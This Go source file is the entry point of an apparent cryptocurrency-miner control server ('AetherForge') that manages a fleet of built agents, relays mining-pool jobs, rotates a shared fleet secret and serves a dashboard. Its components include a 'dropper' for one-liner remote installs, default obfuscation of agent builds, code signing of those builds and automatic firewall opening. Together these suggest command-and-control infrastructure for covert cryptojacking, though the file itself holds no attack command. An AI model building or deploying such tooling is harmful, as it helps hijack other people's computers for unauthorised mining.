package main import ( "crypto/rand" "encoding/hex" "encoding/json" "fmt" "io" "log" "net/http" "os" "path/filepath" "time" "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/api" "crypto-miner-server/internal/builder" "crypto-miner-server/internal/db" "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" "crypto-miner-server/internal/sys" ) type wsLogWriter struct { hub *api.WSHub } func (w *wsLogWriter) Write(p []byte) (n int, err error) { w.hub.BroadcastServerLog(string(p)) return len(p), nil } func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) log.Println("Crypto Miner Control Server starting...") // Load configuration cfg := LoadConfig() projectRoot := findProjectRoot() cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot) log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot) // Generate fleet secret once — persisted in config.json so all future forges // carry the same secret and agents keep working across server restarts. if cfg.Server.FleetSecret == "" { b := make([]byte, 32) if _, err := rand.Read(b); err != nil { log.Fatalf("Failed to generate fleet secret: %v", err) } cfg.Server.FleetSecret = hex.EncodeToString(b) if err := cfg.Save(); err != nil { log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err) } else { log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up") } } else { log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8]) } // Ensure data directories exist dirs := []string{ cfg.DataDir, filepath.Join(cfg.DataDir, "builds"), filepath.Join(cfg.DataDir, "preps"), filepath.Join(cfg.DataDir, "logs"), } for _, dir := range dirs { if err := os.MkdirAll(dir, 0755); err != nil { log.Fatalf("Failed to create directory %s: %v", dir, err) } } // Initialize database database, err := db.New(cfg.DataDir) if err != nil { log.Fatalf("Failed to initialize database: %v", err) } defer database.Close() log.Println("Database initialized") // Initialize AI autonomy handler (Ollama) aiHandler := api.NewAIHandler(database) log.Println("AI handler initialized") // Initialize WebSocket hub wsHub := api.NewWSHub(database) wsHub.SetAIHandler(aiHandler) wsHub.SetFleetSecret(cfg.Server.FleetSecret) api.SetAgentPathSecret(cfg.Server.FleetSecret) aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) { wsHub.BroadcastAIActivity(entry) }) // Stream all server logs to the dashboard Master Terminal log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub})) log.Println("WebSocket hub initialized") // Initialize builder handler // The agent source is expected at ../agent relative to the server directory agentSrcDir := findAgentSourceDir() builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot) builderHandler.SetFleetSecret(cfg.Server.FleetSecret) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) // Wire fleet secret rotation — now that both wsHub and builderHandler are ready. api.SetRotateSecretFn(func() (string, error) { b := make([]byte, 32) if _, err := rand.Read(b); err != nil { return "", err } newSecret := hex.EncodeToString(b) cfg.Server.FleetSecret = newSecret if err := cfg.Save(); err != nil { return "", err } wsHub.SetFleetSecret(newSecret) builderHandler.SetFleetSecret(newSecret) api.SetAgentPathSecret(newSecret) log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8]) return newSecret, nil }) defaultPoolCfg := pool.Config{ Host: cfg.Pool.Host, Port: cfg.Pool.Port, UseTLS: cfg.Pool.UseTLS, Wallet: cfg.Wallet.Address, Password: cfg.Pool.Password, PaymentID: cfg.Wallet.PaymentID, } // Initialize Stratum pool manager (connections keyed by forged pool + wallet) poolManager := pool.NewManager( func(job *pool.Job) { log.Printf("[Pool] New job received: ID=%s, Height=%d", job.ID, job.Height) payload, _ := json.Marshal(job) wsHub.BroadcastToAgents(api.Message{ Type: "new_job", Payload: payload, }) }, func(err error) { log.Printf("[Pool] Error: %v", err) }, ) wsHub.SetPoolManager(poolManager, defaultPoolCfg) applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler) applyControlServerFirewall(cfg) configProvider := &serverConfigProvider{ config: cfg, onSaved: func(c *Config) { applyRuntimeConfig(c, wsHub, poolManager, builderHandler) }, } configHandler := api.NewConfigHandler(database, configProvider) log.Println("Config handler initialized") maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays) // Pre-connect default upstream pool from server config (Forge defaults seed from here) go func() { if _, err := poolManager.EnsurePool(&defaultPoolCfg); err != nil { log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err) } }() // Fleet alert evaluator (thresholds from Calibrate → alerts config) alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{ OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes, HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct, RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct, } }, alerts.NotifyConfig{ TelegramBotToken: cfg.Alerts.TelegramBotToken, TelegramChatID: cfg.Alerts.TelegramChatID, EmailEnabled: cfg.Alerts.EmailEnabled, SMTPHost: cfg.Alerts.SMTPHost, SMTPPort: cfg.Alerts.SMTPPort, SMTPUser: cfg.Alerts.SMTPUser, SMTPPassword: cfg.Alerts.SMTPPassword, EmailTo: cfg.Alerts.EmailTo, EmailFrom: cfg.Alerts.EmailFrom, }, func(ev alerts.AlertEvent) { wsHub.BroadcastFleetAlert(ev) }) alertEvaluator.Start(30 * time.Second) log.Println("Fleet alert evaluator started") // Pool status broadcast to dashboard go func() { ticker := time.NewTicker(15 * time.Second) defer ticker.Stop() for range ticker.C { wsHub.BroadcastPoolStatus(poolManager.ListStatus()) } }() fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg) // Initialize blueprint handler (config presets) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) log.Println("Blueprint handler initialized") // Initialize dropper handler (one-liner remote install) dropperHandler := api.NewDropperHandler(database, func() string { return configProvider.PublicURL() }) // Find web root for frontend webRoot := findWebRoot() log.Printf("Web root: %s", webRoot) // Initialize router router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }) log.Println("Router initialized") // Start server addr := fmt.Sprintf(":%d", cfg.Port) log.Printf("Server listening on %s", addr) log.Printf("Open http://localhost:%d in your browser", cfg.Port) if err := http.ListenAndServe(addr, router); err != nil { log.Fatalf("Server failed: %v", err) } } func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) { if wsHub != nil { wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds) wsHub.SetServerPolicy(api.ServerPolicy{ MaxAgents: cfg.Server.MaxAgents, LogAgentConnections: cfg.Server.LogAgentConnections, LogShareSubmissions: cfg.Server.LogShareSubmissions, LogPoolTraffic: cfg.Server.LogPoolTraffic, StrictWalletValidation: cfg.Server.StrictWalletValidation, MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds, }) } if poolManager != nil { poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds) poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic) } if builderHandler != nil { defaultObfuscate := cfg.Server.ObfuscateDefault if os.Getenv("AETHERFORGE_RELEASE") == "1" { defaultObfuscate = true } builderHandler.SetBuildPolicy(builder.BuildPolicy{ StrictWalletValidation: cfg.Server.StrictWalletValidation, MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, DefaultObfuscate: defaultObfuscate, Sign: builder.SignPolicy{ Enabled: cfg.Server.SignEnabled, CertThumbprint: cfg.Server.SignCertThumbprint, ToolPath: cfg.Server.SignToolPath, TimestampURL: cfg.Server.SignTimestampURL, }, }) } applyControlServerFirewall(cfg) } func applyControlServerFirewall(cfg *Config) { if cfg == nil || !cfg.Server.OpenFirewallOnStart { return } port := cfg.Port if port <= 0 { port = 8989 } if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil { log.Printf("[firewall] %v", err) } } // serverConfigProvider wraps the Config to implement api.ConfigProvider interface type serverConfigProvider struct { config *Config onSaved func(*Config) } func (p *serverConfigProvider) PublicURL() string { return p.config.Server.PublicURL } func (p *serverConfigProvider) GetConfigJSON() json.RawMessage { data, _ := json.Marshal(p.config) return data } func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error { var incoming Config if err := json.Unmarshal(data, &incoming); err != nil { return fmt.Errorf("invalid config: %w", err) } // Determine which top-level keys were explicitly present in the JSON payload. // This prevents partial PUTs from corrupting boolean fields (H14): a key absent // from the payload is treated as "not changed", not "set to false". var presentKeys map[string]json.RawMessage _ = json.Unmarshal(data, &presentKeys) mergeConfigExplicit(p.config, &incoming, presentKeys) // Save to disk if err := p.config.Save(); err != nil { return fmt.Errorf("failed to save config: %w", err) } if p.onSaved != nil { p.onSaved(p.config) } return nil } // findAgentSourceDir locates the agent source code directory // It searches relative to the server binary location and the current working directory func findAgentSourceDir() string { projectRoot := findProjectRoot() candidates := []string{ filepath.Join(projectRoot, "agent"), "../agent", "./agent", } if cwd, err := os.Getwd(); err == nil { candidates = append(candidates, filepath.Join(cwd, "agent"), filepath.Join(filepath.Dir(cwd), "agent"), ) } if exe, err := os.Executable(); err == nil { exeDir := filepath.Dir(exe) candidates = append(candidates, filepath.Join(exeDir, "agent"), filepath.Join(exeDir, "..", "agent"), filepath.Join(exeDir, "..", "..", "agent"), ) } seen := map[string]bool{} for _, candidate := range candidates { absPath, err := filepath.Abs(candidate) if err != nil || seen[absPath] { continue } seen[absPath] = true goModPath := filepath.Join(absPath, "go.mod") if _, err := os.Stat(goModPath); err == nil { return absPath } } return filepath.Join(projectRoot, "agent") } // resolveDataDir pins relative data paths to the project root so builds always land in // /data even when miner-server.exe is started from server/ or bin/. func resolveDataDir(dataDir, projectRoot string) string { if filepath.IsAbs(dataDir) { return dataDir } if projectRoot != "" && projectRoot != "." { return filepath.Join(projectRoot, dataDir) } abs, err := filepath.Abs(dataDir) if err != nil { return dataDir } return abs } func findProjectRoot() string { if cwd, err := os.Getwd(); err == nil { if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil { return cwd } if _, err := os.Stat(filepath.Join(filepath.Dir(cwd), "run.bat")); err == nil { return filepath.Dir(cwd) } } if exe, err := os.Executable(); err == nil { exeDir := filepath.Dir(exe) candidates := []string{ exeDir, filepath.Join(exeDir, ".."), filepath.Join(exeDir, "..", ".."), } for _, candidate := range candidates { if _, err := os.Stat(filepath.Join(candidate, "run.bat")); err == nil { abs, _ := filepath.Abs(candidate) return abs } } } if cwd, err := os.Getwd(); err == nil { return cwd } return "." } // findWebRoot locates the frontend build output directory func findWebRoot() string { candidates := []string{ "webroot", // Copied by run.bat "web/dist", // Vite build output relative to server/ filepath.Join("..", "server", "web", "dist"), // Relative to project root filepath.Join("server", "web", "dist"), // From project root } if cwd, err := os.Getwd(); err == nil { candidates = append(candidates, filepath.Join(cwd, "webroot"), filepath.Join(cwd, "web", "dist"), filepath.Join(filepath.Dir(cwd), "server", "webroot"), filepath.Join(filepath.Dir(cwd), "server", "web", "dist"), ) } if exe, err := os.Executable(); err == nil { exeDir := filepath.Dir(exe) candidates = append(candidates, filepath.Join(exeDir, "webroot"), // portable USB layout filepath.Join(exeDir, "..", "webroot"), filepath.Join(exeDir, "..", "web", "dist"), filepath.Join(exeDir, "..", "..", "server", "webroot"), filepath.Join(exeDir, "..", "..", "server", "web", "dist"), ) } for _, candidate := range candidates { absPath, err := filepath.Abs(candidate) if err != nil { continue } // Check if it has index.html indexPath := filepath.Join(absPath, "index.html") if _, err := os.Stat(indexPath); err == nil { return absPath } } return "" }